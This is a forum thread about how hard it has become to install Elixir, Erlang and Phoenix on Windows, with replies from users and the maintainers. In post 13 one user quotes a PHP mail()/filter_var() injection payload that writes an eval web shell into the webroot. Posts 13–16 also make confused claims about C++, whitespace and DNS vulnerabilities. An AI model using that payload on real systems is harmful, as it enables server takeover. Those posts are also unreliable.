The Elixir experience on Windows is deteriorating

Chat / Discussions
, , ,
1

Hi all,

In the last days, two things happened:

  1. A blog post titled “They might never tell you it’s broken” made the rounds. It’s about how even makers of popular software might not always be told something is wrong.
  2. I spent many hours and went through five different Erlang versions trying to run a bog-standard Phoenix app on my brand new Windows 10 box (and I’m pretty experienced with both Elixir and Windows).

If the Elixir/Erlang teams are aware of this, then please feel free to ignore this entire post. But on the off-chance that most Erlang and Elixir committers are on Mac or Linux, here’s me sharing my personal experience:

It appears to me that the Elixir setup experience has gradually deteriorated on Windows to the point that I expect newbies would simply give up. I’ve (helped) set Elixir up on a fair number of Windows boxes over the last 3 years or so, and it seems like a new hurdle is added every next time I try.

Worse, it is my impression that Windows itself is getting increasingly popular among developers again. I worry that my experiences in the last few months are an indication of what any Windows user has to go through to try out Elixir, and that this will hurt Elixir adoption.

This is just too hard. Ideally, running elixir-websetup.exe should be enough to compile and run Elixir code. It used to be, but it isn’t anymore.

To be fair, I don’t think I’m in a good position to help much with this. This post can well be read as the generic “open source user complaining about stuff he’s been given for free”. I just want to make sure that the teams involved are aware that this is going on, because it would suck if everybody thinks that Elixir works great on Windows.

In other words, I’m not sure what the solution is.

If you’re interested in more detail, here’s my experience. Feel free to skip this part, it’s just for context and not important to the core point. Much of the following is from memory, so sorry if I got some details wrong.

When I started on Elixir a few years ago, it was amazing. Get the Elixir installer, it fetches Erlang, copy&paste the magic Phoenix archive incantation and off you go. Awesome!

Then came Phoenix’s Comeonin dependency in Phoenix, which added a NIF compilation requirement, which requires Visual Studio Build Tools (a whopping 4.6gb), but OK. That’s still pretty straight forward, just some hassle. It truly sucks on small computers though, because the build tools are so enormous (4.6gb for a C++ compiler? srsly microsoft?). I wish Elixir had some way to ship NIF binaries from Hex, somehow. BUT! At least this works, and it’s pretty well documented and google-able, even though MS keeps breaking the various download links scattered across the web. This is clearly down to Microsoft making it way too hard to compile stuff for its OS (get this: getting GCC on WSL is faster than getting command-line MSVC running!). But it still impacts Elixir.

Today however, when setting up my brand new laptop, I found myself messing around with five different Erlang versions before I got the right combination of luck. I’m pretty experienced with both Elixir dev and Windows “power usage” yet it took me many hours to get our bog-standard Phoenix backend to compile.

Here’s what I did:

  • Elixir websetup installs the latest Erlang. Seems fine, but running mix local.hex exits without output and without doing anything. I can’t mix deps.get without it so I’m stuck.
  • Hmm, elixir --version says that it was built on OTP 20. Maybe I need OTP 20? Let’s try that.
  • Nop, didn’t help. Turns out that I was running the 64-bit Erlang, which can’t run crypto code and therefore mix local.hex crashes without output. That Erlang bug was closed as a “can’t repro” but I’ve had this exact problem on three clean Windows boxes in the last 4 months. Should’ve taken notes the first 2 times. And I should’ve tried to get that Erlang bug reopened. Will try today.
  • OK so, apparently 32-bit Erlang is needed. Fine, I don’t think I’ll need 4GB of RAM anyway. Let’s try the latest, 22.1. Uninstall Elixir & Erlang, install Erlang-32bit, reinstall Elixir. Cool, compiling our backend works, run works, but now I’m getting a Postgrex error that some tuple doesn’t implement String.Chars. Some googling around suggests that maybe it’s a thing with the latest OTP. Not sure that’s the same error, but OK, let’s try.
  • Ok so, remove build artifacts, uninstall elixir, uninstall erlang, get erlang 22.0, reinstall Elixir, rebuild. Nop, can’t compile! Calendar.ISO can’t be found. Right.
  • Let’s try the OTP Elixir was built with then, but now in 32-bits mode, i.e. Erlang 20.3. Uninstall everything again, install everything again, great! Now it works.

Finally, now it works. Of course, IEx is still the only REPL on my box that doesn’t let me press “up” or “down” to go through the command history, but I’ve gotten used to that by now.

Just to reiterate: I’m not trying to complain about something I’ve been given for free. My company exists thanks to Elixir, so I’m deeply grateful. I think that for lack of time to contribute substantial open source back to the community, the least I can do is make sure problems are noted.

I didn’t make this a GitHub issue because I feel that it’s a more general thing, not a specific bug. Much of it might even be specific to Erlang rather than Elixir (but that doesn’t make it impact the Elixir experience any less).

16 Likes
2

Is WSL a viable option?

3 Likes
3

Of course, IEx is still the only REPL on my box that doesn’t let me press “up” or “down” to go through the command history, but I’ve gotten used to that by now.

Shell history is disabled by default. You can easily enable it by putting the following in your .profile or the Windows equivalent:
export ERL_AFLAGS="-kernel shell_history enabled"
Might need to adjust for windows-specific terminologies.

2 Likes
4

He isn’t talking about that, but more about the fact, that erl in windows does not support tab completion and arrow navigation at all. Thats because of how the windows terminal works.

It provides the --werl flag though, which will start in its own terminal emulator, which does support advanced input methods, but still not colored output.

iex, which basically just wraps elixir syntax over erl, does provide the same flag IIRC.

5 Likes
5

Ah! Interesting. I didn’t know about that. I guess I’m taking a few things for granted :smile:

I think, when observing the general open source community, the majority of developers use either macOS or Linux, hence the inferior state of support for Windows currently for some relatively big projects. Although, Windows is trying hard to be compatible and more open-source friendly. The efforts are noticeable, but it still needs time.

6

To be honest, most of the experience you describe is pretty much the same with any language on windows. As long as you stay pure, everything will work well.

Though as soon as you try to do some FFI of any kind, you are basically lost…

The erlang installation experience you had is sad, but to be honest, we had our erlang dependency hickups on linux as well.

2 Likes
7

This probably isn’t the answer you want to hear but I never had any problem with any programming run time (Elixir, Ruby, Python, Node) when running things in Docker while using Windows.

Native dependencies get compiled within a Linux based Docker image which has the benefit of not needing anything Windows specific to be installed.

So while a Windows environment straight up might be bad, you have options to make it be very good. There’s also WSL too. I have been using it in combination with Docker full time for years, it’s wonderful on all fronts (things just work and it’s fast), but you can also use WSL on its own without Docker too.

1 Like
8

Well, its the application of running a server program in a consumer environment is whats wrong with running something inside windows 10. Interesting that its tripping up on a c++ compiler. There is a lot of flaws with c++, that is why I’m going away from php. The Java is c++ based, I don’t know if cowboy web server is, but it would be interesting if it is, and if it has the same dom /c++ vulnerabilities like the other ones.

9

Unfortunately, we don’t have the knowledge required to maintain “elixir-websetup.exs”. So if someone is interested in improving the Windows experience, please do! We would really appreciate it: GitHub - elixir-lang/elixir-windows-setup: Online Elixir Installer powered by Inno Setup

Although it is a bit frustrating that the experience got worse. Why code that worked in the past can’t just continue work? :confused:

To be clear:

  • Phoenix does not depend on comeonin
  • Comeonin has an algorithm (Pbkdf2) that does not have native dependencies. That’s also the algorithm we picked for the Programming Phoenix book precisely because of Windows users

Aye, this is painful indeed. Sorry to hear.

It is the first time I hear about this. So somehow the reports are not surfacing up, thanks for writing one.

I think we can at least do one action here: Ship Erlang/OTP versions in the Elixir installer that are compatible with the precompiled Elixir - this should eliminate at least part of the issue. It has the downside that Windows users will be a bit behind, but if they want to get the latest Erlang, they can always get it in other ways. Thoughts?

However, I am afraid that to use 32-bits by default, we will need to change the installer. I think the installer gives you the option to choose, but it is checked by default depending on your system settings.

Quick question: how did you install Erlang 22.0 on Windows? Did you use Erlang/OTP’s official installer?

Also, please do open up a report on Erlang/OTP about crypto.

Yes, you need to do iex --werl. There is also a USE_WERL environment variable that you can enable to always use werl. Regarding colored output, Windows still does not support ANSI escapes.

EDIT: I also want to add that both the OTP and Elixir team have CIs running on Windows, so it seems most of the issues are in the integration with the moving parts of the OS (crypto, 32vs64bits, etc).

13 Likes
10

Windows is trying to get rid of 32 bit programs on its platform. So is macOS.
But another thing is it might not run well in windows because its not a real time os anymore. So there is no direct hardware calls when windows updated itself.

11

It never has been…

4 Likes
12

I do not understand why flaws in C++ make you go away from PHP…

Yes PHP has its own flaws, but they are not necessarily related to those of C++.

Maybe some JavaVMs are implemented in C++, but I do not get what you want to tell us.

Most of the things one might consider a flaw in Java are because of the language Java itself, not because of the language the JVM is implemented in. It would have the same flaws when we reimplemented the JVM in pure C, Pascal, Rust, Ada, Nim, D, or whatever you might come up with…

If you mean by that “implemented in C++”, then no, it’s a pure Erlang implementation of a web server. The Erlang VM itself is implemented in C, though there are approaches to reimplement the Erlang VM in Rust.

I still don’t get all the mentioning of C++ and other languages and how it’s related to the fact that there are currently problems to install erlang and elixir on a windows box.

2 Likes
13

Its space character manipulation, from things that cause character encoding processes to produce the security violation. Using common practices that were copied and pasted everywhere arbitrarily can lead to issues.

      for example, The php mail() exploitation of the 5 parameter:

filter_var($email, FILTER_VALIDATE_EMAIL)

not all characters that are necessary to exploit the security issue in mail() are forbidden by this filter. It allows the usage of escaped whitespaces nested in double quotes. Due to the nature of the underlying regular expression it is possible to overlap single and double quotes and trick filter_var() into thinking we are inside of double quotes, although mail()s internal escapeshellcmd() thinks we are not.
so:
```

'a."'\ -OQueueDirectory=\%0D<?=eval($_GET[c])?>\ -X/var/www/html/"@a.php

For the here given url-encoded input, the filter_var() function returns true and rates the payload as a valid email address. This has a critical impact when using this function as a sole security measure: Similar as in our original attack, our malicious “email address” would cause sendmail to print the following error into our newly generated shell "@a.php in our webroot.

<?=eval($_GET[c])?>\/): No such file or directory

Remember that filter_var() is not appropriate to be used for user-input sanitization and was never designed for such cases, as it is too loose regarding several characters.

You’re thinking maybe its simpleton code from example web sites that are effected… Guess what, its everyone that is using php mail() function.

Roundcube <= 1.2.2 CVE-2016-9920
MediaWiki < 1.29 Discussion
PHPMailer <= 5.2.18 CVE-2016-10033
Zend Framework < 2.4.11 CVE-2016-10034
SwiftMailer <= 5.4.5-DEV CVE-2016-10074
SquirrelMail <= 1.4.23 CVE-2017-7692

Is a small list, but due to the integration of these affected libraries, other widely used applications, such as Wordpress, Joomla and Drupal, were partly affected as well.

14

I imagine there is a white space character somewhere in the c code page that is halting the compilier. Like a space character pasted in. I think microsoft is trying to fix white space vulnerabilities it had with that language, and xml since its creation (30+ years).

15

There are other ones too, like the c++ vulnerabilities with WAF or commonly known as Web Application Firewall. I won’t discuss those here, as there is no fixes for that. C++ was a badly written language that has a lot of issues with keeping itself safe. It explains a lot of half baked c++ programs out there because they just was interested in making something that worked.

Other c++ programs that need to be fixed, is the DNS server programs. Their white space vulnerability can lead the whole server being preyed upon by a man in the middle attack, or cause outages of thousands of websites (like it did last April). DNSSEC doesn’t secure it either, but it helps with making the mtm attack harder to implement, but it still can be performed.

16

I also forgot to mention the 30+years bug with embedding javascript and php scripts inside pictures (both in the exif region, and encoded in the picture data). This is still out there and I think some of the browsers are working on a solution, but I don’t think they are advertising this old bug. I see there is git hub projects for making script embedded pictures, so I doubt they have it fixed.

17

The Elixir experience on Windows seems to boil down to this: if you are really determined to make it work, you will – but you are not in for a smooth ride.

The first time I toyed with the idea of learning Elixir, I nearly gave up. My expectation was that one (offline) installer would get the system ready for me. In practice, there was Erlang, a separate Elixir (online) installer, and uncertainty as to how these two would work together. Note however that it was not the complexity or the inconvenience that was the problem, but a gut reaction signalling that Elixir/Phoenix might not be the user-friendly platform I was looking for.

The sort of person who has taken the trouble to learn Elixir and switch to Phoenix is unlikely to settle for Pbkdf2, because the endless hours of frustration due to not settling for Pbkdf2 are unimaginable to begin with. You expect to spend some time figuring out how things work together, but then the Visual Studio reality kicks in. It is huge, it is not obvious which components are required (I had to reinstall a few times in order to save HDD space), it might take forever to download (e.g. link), and it is almost inevitable that you will get something wrong (e.g. link). Like the OP, I am not complaining, just sharing my experience.

3 Likes
18

Having done my fair share of Elixir/Phoenix development on a Windows 10 laptop I can absolutely share your sentiment.

Things are a little better when going the WSL route (especially now, that VSCode has amazing support for “Remote and WSL Development”), however even in WSL land things are not always 100% smooth (e.g., see https://github.com/hexpm/hex/issues/624)

19

I’m just a beginner, but for me the installation and usage on Win10 has not caused any issues. Maybe I’m not addressing the areas that the poster is, but it was pretty painless.

2 Likes
20

I’m also new to Elixir and just tried installing on a Win 10 Pro machine via the installer. Took less than a minute, Erlang, Elixir, mix are all installed and added to path. Checked versions and the interactive shell via bash and it all looks good.

2 Likes